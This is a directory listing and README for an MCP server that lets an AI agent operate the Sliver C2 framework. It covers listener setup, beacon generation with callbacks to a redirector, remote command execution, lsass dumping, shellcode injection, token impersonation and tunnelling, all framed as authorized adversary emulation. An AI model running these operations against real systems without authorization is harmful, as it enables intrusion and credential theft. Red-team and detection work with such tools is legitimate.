Skip to main content
Glama
sliver-mcp
by v0idravl
███████╗██╗     ██╗██╗   ██╗███████╗██████╗      ███╗   ███╗ ██████╗██████╗
██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗     ████╗ ████║██╔════╝██╔══██╗
███████╗██║     ██║██║   ██║█████╗  ██████╔╝████╗██╔████╔██║██║     ██████╔╝
╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗╚═══╝██║╚██╔╝██║██║     ██╔═══╝
███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║     ██║ ╚═╝ ██║╚██████╗██║
╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝     ╚═╝     ╚═╝ ╚═════╝╚═╝
   drive the Sliver C2 operator surface from an AI agent

python mcp c2 tests license

A Model Context Protocol server for the Sliver C2 framework. It exposes the Sliver operator surface — listeners, implant/beacon generation, sessions and beacons, command execution, file operations, and a structured handoff — as mcp__sliver__* tools an LLM agent can drive.

It is the C2 layer of the AI-offsec stack, built to slot in alongside the p0rtix (recon) and p0cs (exploit staging and delivery) MCP servers and orchestrated by the dagar-red skill system. It mirrors their conventions: Python + FastMCP, async tools, structured-dict returns, and a noise / arm_dangerous safety gate.

⚠️ Authorized use only. This drives a live C2 framework. Use it only against infrastructure you own or are explicitly authorized to test — owned labs, CTFs, and contracted engagements. It is built for adversary emulation: standing up realistic C2 so defenders can test and improve detection and response. The noise tiers and the arm_dangerous gate exist to keep operation deliberate and in scope.


⚡ Quick start

# install
git clone git@github.com:v0idravl/sliver-mcp.git && cd sliver-mcp
python3 -m venv venv && ./venv/bin/pip install -e .

# register with Claude Code (see below), then in-agent:
connect()                         # attach to your team server
set_noise("yellow")               # allow actions that touch a host
start_https_listener(port=443)
generate_beacon(c2_host="<redirector>", os="windows")
# … deliver the beacon, then …
poll_events(); list_sessions(); execute_command(id, "whoami")

Requires Python ≥ 3.11 and a reachable Sliver team server with an operator config (.cfg). See docs/live-test.md for standing up a local server and generating one.


Related MCP server: ghidraMCP

🧠 How it relates to Sliver's built-in MCP

Sliver ships an experimental built-in MCP, but it is filesystem-only (≈11 tools: fs_ls, fs_cat, fs_rm, …). sliver-mcp is a superset focused on the full operator workflow — listeners, payload generation, sessions/beacons, execution, and cross-tool handoff — so an agent can run an engagement end to end.


🔌 Register with Claude Code

Add to ~/.claude.json (or via claude mcp add). Point SLIVER_CONFIG at your operator config:

"sliver": {
  "type": "stdio",
  "command": "/home/youruser/projects/sliver-mcp/venv/bin/sliver-mcp",
  "args": [],
  "env": { "SLIVER_CONFIG": "/home/youruser/.sliver-client/configs/operator.cfg" }
}

The server starts whether or not the team server is up — call connect() first; tools that need a live client return a structured "not connected" error until it succeeds.


🧰 Tool surface (mcp__sliver__*)

Category

Tools

What they do

Connection / state

connect, status, get_version, poll_events, disconnect

attach to the team server, check health, drain the async event queue (new callbacks, task results)

Listeners

start_https_listener, start_http_listener, start_mtls_listener, start_dns_listener, start_wg_listener, list_jobs, kill_job

stand up / tear down C2 listeners across protocols

Implant generation

generate_implant, generate_beacon, list_implant_builds, list_implant_profiles, regenerate_implant, regenerate_or_build, remove_implant_build

build session implants and async beacons; reuse profiles and prior builds; prune stale builds

Sessions / beacons

list_sessions, list_beacons, session_info, beacon_info, kill_session, kill_beacon

enumerate and inspect callbacks; retire them

Execution

execute, execute_command, get_beacon_tasks

run a binary / run a shell command on a session or beacon; poll a beacon's queued/completed tasks

File operations

ls, pwd, cd, mkdir, download, upload, rm

navigate and move files on the target

Pivots

list_pivots

enumerate pivot listeners on a session

Handoff

export_handoff, ingest_handoff

exchange C2 state with the rest of the stack

Post-exploitation

execute_assembly, execute_shellcode, ps, process_dump, screenshot, ifconfig, netstat

run .NET assemblies in-memory (SharpHound, Rubeus, Seatbelt, etc.), inject shellcode into a process, enumerate processes, dump process memory (lsass), capture desktop screenshots, list network interfaces and active connections

Token operations

make_token, impersonate, revert_to_self, run_as, migrate

create a token with supplied credentials, impersonate a token by PID, drop impersonation, run a command as another user, migrate implant to another process

Registry

registry_read, registry_write

read and write registry key values

Elevated

get_system

attempt SYSTEM elevation (requires arm_dangerous)

SOCKS / Tunneling

start_socks, stop_socks, start_portfwd, stop_portfwd, list_tunnels

SOCKS5 proxy via a session (auto-writes ~/.cache/dagar-proxychains.conf so p0rtix nmap tunnels through), port forwards, list active proxies and port forwards

Engagement state

open_store, export_state

open/create a dagar-state SQLite engagement store; export current store as JSON

Safety

set_noise, arm_dangerous

raise the noise ceiling / unlock destructive actions


🚦 Safety / noise model

Every tool carries a noise tier. A call above the current ceiling is refused with a structured reason — never silently downgraded.

Tier

Meaning

Examples

passive

read-only state

status, list_sessions, export_handoff

green

build / stand up our own infra

listeners, generate_*, ls, download

yellow

actions that touch the target

execute, upload, kill_session

red

destructive

rm (also requires arm_dangerous())

The default ceiling is green: call set_noise("yellow") before running commands on a host (the sliver-ops loop does this explicitly), and arm_dangerous() to unlock rm.


🔁 Typical loop

connect()
set_noise("yellow")
start_https_listener(port=443, domain="<redirector>")
generate_beacon(c2_host="<redirector>", os="windows", interval=60, jitter=30)
# … deliver the beacon — see docs/delivery.md for session-safe detachment …
poll_events()            # watch for the callback
list_sessions()
execute_command(target_id, "whoami")
start_socks(session_id, 1080)  # auto-writes proxychains.conf → p0rtix nmap tunnels through
export_handoff()         # feed C2 state back to internal-dispatch

Beacons vs sessions

execute and the file tools accept either a session id (interactive, low latency) or a beacon id (asynchronous — the result returns after the next check-in, every interval ± jitter seconds). Use poll_events() to watch for new callbacks and task completion.

For a beacon, if the next check-in does not arrive within SLIVER_TASK_TIMEOUT (default 300s), execute / execute_command return a structured status instead of a bare timeout error: task_state="queued" (the task is pending and will run on the next check-in, with next_checkin timing) or task_state="dead" (the beacon is gone). Poll get_beacon_tasks(beacon_id) to see whether a queued task has since been picked up.

dagar-state integration

When open_store(engagement) is called, sliver-mcp tracks sessions, routes, and privilege escalations in a shared SQLite DB that p0rtix also writes to — so the full engagement picture (hosts, services, creds, sessions) is queryable in one place.


⚠️ Known limitations (v1)

These reflect the current sliver-py surface, not the design:

  • No interactive PTY shell. A streaming PTY can't be a single request/response tool; execute_command covers command execution.

  • No cp / chmod / chown — not in sliver-py's base command set. Planned once upstream exposes them.


🩹 Troubleshooting

Symptom

Fix

Every tool returns "not connected"

Call connect() first. The server starts without the team server; tools needing a live client wait for a successful connect.

connect() fails

Check SLIVER_CONFIG points at a valid operator .cfg, and that the team server is reachable (host/port in the config). See docs/live-test.md.

A call is "refused: above noise ceiling"

Raise it deliberately: set_noise("yellow") for target-touching actions, arm_dangerous() for rm.

No callback after delivery

poll_events() drains the async queue; beacons only report on the next interval ± jitter check-in.


🧪 Tests

./venv/bin/pip install -e '.[dev]'
./venv/bin/pytest          # 64 tests, no live server required

The suite mocks sliver-py, so it is green on a clean machine. For a live end-to-end smoke test, see docs/live-test.md.


License

MIT. See LICENSE.

Available Tools

37 tools
arm_dangerousA

Unlock RED-tier destructive tools (rm) and raise the ceiling to red.

Inputs: no named parameters.

beacon_infoC

Get details for one beacon by id.

Inputs: beacon_id (required).

cdC

Change the remote working directory.

Inputs: path (required), target_id (required).

connectA

Connect to the Sliver team server using an operator config.

Call this first. config_path overrides the SLIVER_CONFIG env var (or the first *.cfg in ~/.sliver-client/configs). Returns the server version and operator name. Re-calling while connected is a no-op refresh.

Inputs: config_path.

disconnectA

Disconnect from the team server and stop the event pump.

Inputs: no named parameters.

downloadB

Download a remote file. Saves to save_path (or the payload dir).

Returns the local path and size; for text files also a UTF-8 preview.

Inputs: target_id (required), remote_path (required), save_path.

executeB

Run an executable on a session or beacon. yellow-tier (host telemetry).

target_id resolves to a session or beacon automatically. For beacons the result returns once the next check-in completes the task.

Inputs: path (required), target_id (required), args, output.

execute_commandC

Convenience: shell-split command_line and run it. yellow-tier.

Inputs: target_id (required), command_line (required), output.

export_handoffA

Export structured C2 state (sessions, beacons, listeners, builds).

Mirrors p0rtix's export_handoff so the agent can feed C2 state back into internal-dispatch.

Inputs: no named parameters.

generate_beaconC

Build a beacon-mode implant (async check-in every interval s ± jitter).

Inputs: c2_host (required), os, fmt, arch, +7 more.

generate_implantB

Build a session-mode implant (interactive callback). Saved to disk.

fmt: exe|shellcode|shared_lib|service. protocol: https|http|mtls| dns|wg. c2_host is the callback host/redirector domain.

Inputs: c2_host (required), os, fmt, arch, +6 more.

get_versionA

Return the Sliver server version details.

Inputs: no named parameters.

ingest_handoffA

Stand up a listener + beacon from a p0rtix/msf-style handoff.

Accepts loose keys (redirector/callback_domain/domain/lhost/host/hosts, protocol, port, os, arch) and creates a matching listener, then generates a matching beacon. Honors the current noise ceiling.

Inputs: handoff_data (required).

kill_beaconC

Remove a beacon from the server. yellow-tier.

Inputs: beacon_id (required).

kill_jobC

Stop a job/listener by its job id.

Inputs: job_id (required).

kill_sessionC

Terminate a session (the implant exits). yellow-tier.

Inputs: session_id (required), force.

list_beaconsA

List registered beacons (async check-in implants).

Inputs: no named parameters.

list_implant_buildsA

List previously generated implant builds by name.

Inputs: no named parameters.

list_implant_profilesA

List saved implant profiles.

Inputs: no named parameters.

list_jobsA

List active jobs (listeners). Each has a job_id usable with kill_job.

Inputs: no named parameters.

list_pivotsC

List pivot listeners running on a session.

Inputs: session_id (required).

list_sessionsA

List active interactive sessions.

Inputs: no named parameters.

lsA

List a remote directory on a session/beacon.

Inputs: target_id (required), path.

mkdirC

Create a remote directory.

Inputs: path (required), target_id (required).

poll_eventsB

Drain buffered server events (session/beacon connect, jobs, etc.).

Inputs: no named parameters.

pwdB

Get the remote working directory.

Inputs: target_id (required).

regenerate_implantB

Re-download a previously built implant by name, saving it to disk.

Inputs: name (required).

rmB

Delete a remote file/dir. RED-tier — requires arm_dangerous() first.

Inputs: path (required), target_id (required), force, recursive.

session_infoC

Get details for one session by id.

Inputs: session_id (required).

set_noiseB

Set the noise ceiling: passive|green|yellow|red. RED needs arming.

Inputs: level (required).

start_dns_listenerB

Start a DNS C2 listener for the given parent domain(s). Returns job id.

Inputs: domains (required), host, port, canaries.

start_http_listenerC

Start a plain HTTP C2 listener (test/redirector use). Returns job id.

Inputs: host, port, domain, website.

start_https_listenerC

Start an HTTPS C2 listener. Returns its job id.

Inputs: acme, host, port, domain, +1 more.

start_mtls_listenerC

Start a mutual-TLS C2 listener. Returns its job id.

Inputs: host, port.

start_wg_listenerC

Start a WireGuard C2 listener. tun_ip may be blank to auto-assign.

Inputs: port, n_port, tun_ip, key_port.

statusA

Report connection health, server version, and live object counts.

Inputs: no named parameters.

uploadB

Upload a file to a session/beacon from a local file or base64 data.

Inputs: target_id (required), remote_path (required), data_b64, local_path.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

Loading tool schema changelog…

    TDQS

    B3.2/5.0

    Scored across 37 tools

    Disambiguation4/5

    Most tools have distinct purposes, but execute and execute_command overlap significantly; also generate_beacon and generate_implant could be confused despite their descriptions. Overall, an agent can distinguish most tools.

    Naming Consistency5/5

    Naming uses a consistent snake_case with verb_noun pattern (e.g., list_beacons, kill_job). Common unix-like commands (cd, ls, rm) fit the pattern and are expected. No mixing of styles.

    Tool Count3/5

    37 tools is high but justified for a C2 framework covering listeners, implants, sessions, beacons, file ops, and noise management. Some redundancy (execute vs execute_command) suggests potential for consolidation.

    Completeness4/5

    Covers essential C2 operations: connect, manage listeners, generate implants, control sessions/beacons, file operations, event polling, and handoff import/export. Minor gaps like editing implant profiles, but core workflows are complete.

    Related MCP Connectors

    Related MCP Servers

    • A
      license
      Not graded
      quality
      D
      maintenance
      A Model Context Protocol server that enables Large Language Models to interact with Binary Ninja for reverse engineering tasks like viewing assembly code, decompiled code, renaming functions, and adding comments.
      3
      MIT
    • A
      license
      Not graded
      quality
      D
      maintenance
      An Model Context Protocol server that enables LLMs to autonomously reverse engineer applications by exposing Ghidra's decompilation and analysis tools. It allows AI agents to list code structures, rename methods, and analyze binaries directly through MCP-compatible clients.
      Apache 2.0